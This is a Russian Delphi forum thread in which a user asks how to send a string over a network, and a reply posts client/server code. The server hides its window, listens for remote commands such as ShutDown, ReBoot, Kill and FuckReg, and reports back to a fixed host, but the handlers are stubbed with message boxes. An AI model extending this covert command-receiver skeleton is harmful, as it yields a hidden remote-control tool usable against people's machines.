На главную Наши проекты:
Журнал   ·   Discuz!ML   ·   Wiki   ·   DRKB   ·   Помощь проекту
ПРАВИЛА FAQ Помощь Участники Календарь Избранное RSS
msm.ru
! Соблюдайте общие правила форума
Пожалуйста, выделяйте текст программы тегом [сode=pas] ... [/сode]. Для этого используйте кнопку [code=pas] в форме ответа или комбобокс, если нужно вставить код на языке, отличном от Дельфи/Паскаля.
Указывайте точные версии Delphi и используемых сетевых библиотек.

Не приветствуется поднятие старых тем. Если ваш вопрос перекликается со старой темой, то для вопроса лучше создать новую тему, а старую указать в первом сообщении с описанием взаимосвязи.

Внимание:
попытки открытия обсуждений реализации вредоносного ПО, включая различные интерпретации спам-ботов, наказывается предупреждением на 30 дней.
Повторная попытка - 60 дней. Последующие попытки бан.
Мат в разделе - бан на три месяца...

Полезные ссылки:
user posted image MSDN Library user posted image FAQ раздела user posted image Поиск по разделу user posted image Как правильно задавать вопросы


Выразить свое отношение к модераторам раздела можно здесь: user posted image Krid, user posted image Rouse_

Модераторы: Krid, Rouse_
  
> Отправка буфера по сети , ниччего не понимаю.
    SUBJ.
    Хотел писать на WinAPI. Тяжело так сразу, решил использовать компоненты. Скачал кучу статей про сокеты, прочитал, разобрался. Написал код - не работает. Лучшее, чего удалось добиться - отсутствие run-time error и сообщения клиента и сервера о передаче информации, а самой информации нету sad.gif

    Люди, дайте любой (работающий) пример пересылки содержимого строки S по сетке с IP1 на IP2
      (*
      Для Делфи 5
      *)
      {КЛИЕНТ}
      unit Unit1;

      interface

      uses
      Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
      Psock, NMMSG, StdCtrls;

      type
      TfrmClient = class(TForm)
      clt_send: TNMMsg;
      serv_resiv: TNMMSGServ;
      edIP: TEdit;
      btnSend: TButton;
      cbCmd: TComboBox;
      Label1: TLabel;
      label2: TLabel;
      mOut: TMemo;
      procedure FormCreate(Sender: TObject);
      procedure btnSendClick(Sender: TObject);
      procedure serv_resivMSG(Sender: TComponent; const sFrom, sMsg: String);
      private
      { Private declarations }
      public
      { Public declarations }
      end;

      var
      frmClient: TfrmClient;
      SPORT, RPORT: integer;
      RHOST: string;

      implementation

      {$R *.DFM}

      procedure TfrmClient.FormCreate(Sender: TObject);
      begin
      SPORT:=6661;
      RPORT:=6660;
      end;

      procedure TfrmClient.btnSendClick(Sender: TObject);
      var
      cmd: string;// command|parametr|dump|dump|dump
      begin
      (*
      ShutDown
      ReBoot
      NetSend|text aKa Param
      Change
      Start|Param
      Remember|Param //RememberCLNTip
      FuckReg
      StarExplorer
      Exit
      -CopyToAll
      *)
      if (edIP.text <> '') and (cbCmd.Text <> '')then
      begin
      RHOST := edIP.text;//LOCALHOST; //test
      cmd := cbCmd.text + '|dump|dump|dump';
      //
      clt_send:=TNMMsg.Create(Self);
      clt_send.Host:=RHOST;
      clt_send.Port:=SPORT;
      clt_send.FromName:='Client';
      clt_send.PostIt(cmd);
      clt_send.Free;
      end
      else showmessage('!Not enought actual parametrs!');
      end;

      procedure TfrmClient.serv_resivMSG(Sender: TComponent; const sFrom,
      sMsg: String);
      begin
      mOut.Clear;
      mOut.Lines.add('<==|'+chr(VK_TAB)+sFrom+chr(VK_TAB)+'|==>');
      mOut.text := mOut.text + sMsg;
      mOut.Lines.add('<==|'+chr(VK_TAB)+'END'+chr(VK_TAB)+'|==>');
      end;

      end.


      {СЕРВЕР}
      unit Unit1;

      interface

      uses
      Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
      Psock, NMMSG, ExtCtrls, StdCtrls, KernlUtl, inifiles, shellapi, Registry,
      TlHelp32, WinSock;

      Function GetWinPath:String;
      Function GetExePath:string;

      type
      TfrmServ = class(TForm)
      clt_send: TNMMsg;
      serv_resiv: TNMMSGServ;
      procedure FormCreate(Sender: TObject);
      procedure serv_resivMSG(Sender: TComponent; const sFrom, sMsg: String);
      procedure serv_resivClientContact(Sender: TObject);
      procedure FormActivate(Sender: TObject);
      procedure FormDestroy(Sender: TObject);
      procedure FormKeyDown(Sender: TObject; var Key: Word;
      Shift: TShiftState);
      private
      { Private declarations }
      public
      { Public declarations }
      end;

      const
      LOCALHOST = '127.0.0.1';

      var
      frmServ: TfrmServ;
      RHOST: String;
      SPORT, RPORT: integer;

      implementation

      {$R *.DFM}
      (**)
      //....
      procedure StrDiv(str:string; var txt,path,zakladka,comPort,startMtd:string);
      var
      i,j,len_str:integer;
      jmp:byte;
      begin
      jmp:=0;
      //str:=str+'.';
      len_str:=length(str);
      for i:=1 to len_str do begin
      if (str[i]='|') then begin
      inc(jmp);
      if (jmp=1) then begin
      txt:=copy(str,0,i-1);
      j:=i+1;
      end;
      if (jmp=2) then begin
      path:=copy(str,j,i-j);
      j:=i+1;
      end;
      if (jmp=3) then begin
      zakladka:=copy(str,j,i-j);
      j:=i+1;
      end;
      if (jmp=4) then begin
      comPort:=copy(str,j,i-j);
      j:=i+1;
      end;
      if (jmp=5) then begin
      startMtd:=copy(str,j,i-j);
      end;
      end;
      end;
      end;
      //

      Function GetSelfIP: string;
      var
      WSAData : TWSAData;
      p : PHostEnt;
      Name : array [0..$FF] of Char;
      begin WSAStartup($0101, WSAData);
      GetHostName(name, $FF);
      p := GetHostByName(Name);
      Result := inet_ntoa(PInAddr(p.h_addr_list^)^);
      WSACleanup;
      end;
      (**)

      procedure TfrmServ.FormCreate(Sender: TObject);
      begin
      frmServ.Width := 0;
      frmServ.Height := 0;
      SPORT := 6660;
      RPORT := 6661;
      RHOST := '192.168.0.1';
      end;

      (*
      //RHOST := LOCALHOST; //test
      //Послать по сети
      {
      clt_send:=TNMMsg.Create(Self);
      clt_send.Host:=RHOST;
      clt_send.Port:=SPORT;
      clt_send.FromName:='Client';
      clt_send.PostIt(strMsg);
      clt_send.Free;
      }
      *)
      procedure TfrmServ.serv_resivMSG(Sender: TComponent; const sFrom,
      sMsg: String);
      (*/\*)
      //
      procedure Errore(code: byte);
      var
      err: string;
      begin
      err := '';
      case code of
      0: err := 'Нормально';
      1: err := 'SendText не работает';
      2: err := 'Kill не работает';
      3: err := '';
      255: err := '';
      else
      err := 'Не нормально';
      end;
      if code <> 0 then begin
      clt_send := TNMMsg.Create(Self);
      clt_send.Host := RHOST;
      clt_send.Port := SPORT;
      clt_send.FromName := GetSelfIP;
      clt_send.PostIt(err);
      clt_send.Free;
      end;
      end;
      //
      Function SendText(str: string; text:TStringList):byte;
      begin
      if(str <> '')then
      begin
      clt_send := TNMMsg.Create(Self);
      clt_send.Host := RHOST;
      clt_send.Port := SPORT;
      clt_send.FromName := GetSelfIP;
      clt_send.PostIt(str);
      clt_send.Free;
      result := 0;
      end
      else
      if(text <> nil)then
      begin
      clt_send := TNMMsg.Create(Self);
      clt_send.Host := RHOST;
      clt_send.Port := SPORT;
      clt_send.FromName := GetSelfIP;
      clt_send.PostIt(text.Text);
      clt_send.Free;
      result := 0;
      end
      else result := 1;
      end;
      //

      //
      (*/\*)
      var
      command,param,dump,tmp:string;
      PSList: TStringList;
      //
      Wnd : hWnd;
      buff: ARRAY [0..127] OF Char;
      PID:DWORD;
      i,j:integer;
      pStr:String;
      snapShot:THandle;

      begin
      PSList := TStringList.Create;
      (*
      ShutDown
      ReBoot
      NetSend(text aKa Param)
      Change
      Start(Param)
      Remember(Param)
      FuckReg
      StarExplorer
      Exit
      ps
      Kill(Param)
      *)
      Command := '';
      param := '';
      tmp := sMsg+'|';
      StrDiv(tmp,Command,Param,dump,dump,dump);
      if Command='ShutDown' then showmessage('ShutDown')
      else if Command='ReBoot' then showmessage('ReBoot')
      else if Command='NetSend' then showmessage(Param)
      else if Command='Change' then showmessage('Change')
      else if Command='Start' then showmessage('Starter( ' + Param + ' )')
      else if Command='Remember' then showmessage('RememberCLNTip( '+ Param +' )')
      else if Command='FuckReg' then showmessage('FuckReg')
      else if Command='StarExplorer' then showmessage('StarExplorer')
      else if Command='Exit' then Application.MainForm.Close
      else if Command='ps' then showmessage('ps');
      end;


      procedure TfrmServ.serv_resivClientContact(Sender: TObject);
      begin
      serv_resiv.ReportLevel := Status_Basic;
      end;

      procedure TfrmServ.FormActivate(Sender: TObject);
      begin
      ShowWindow(Application.Handle,sw_Hide);
      end;

      procedure TfrmServ.FormDestroy(Sender: TObject);
      begin
      serv_resiv.Free;
      end;

      procedure TfrmServ.FormKeyDown(Sender: TObject; var Key: Word;
      Shift: TShiftState);
      begin

      end;

      end.

      Я повырезал некоторые функции так что может кое что будет ругаться, но пересылка строк должна работать! ПОСМОТРИ ПРИМЕРЫ ПРОГРАММ С ДЕЛФИ!!!!!ТАМ ДОЛЖЕН БЫТЬ ЧАТ...
        Да чат это не работает. (У меня Д7)
        Буду искать еще теорию и слабые места...
          может вот, что подойдет: http://www.delphimaster.ru/cgi-bin/faq.pl?...
          0 пользователей читают эту тему (0 гостей и 0 скрытых пользователей)
          0 пользователей:


          Рейтинг@Mail.ru
          [ Script execution time: 0,0211 ]   [ 17 queries used ]   [ Generated: 19.04.24, 21:15 GMT ]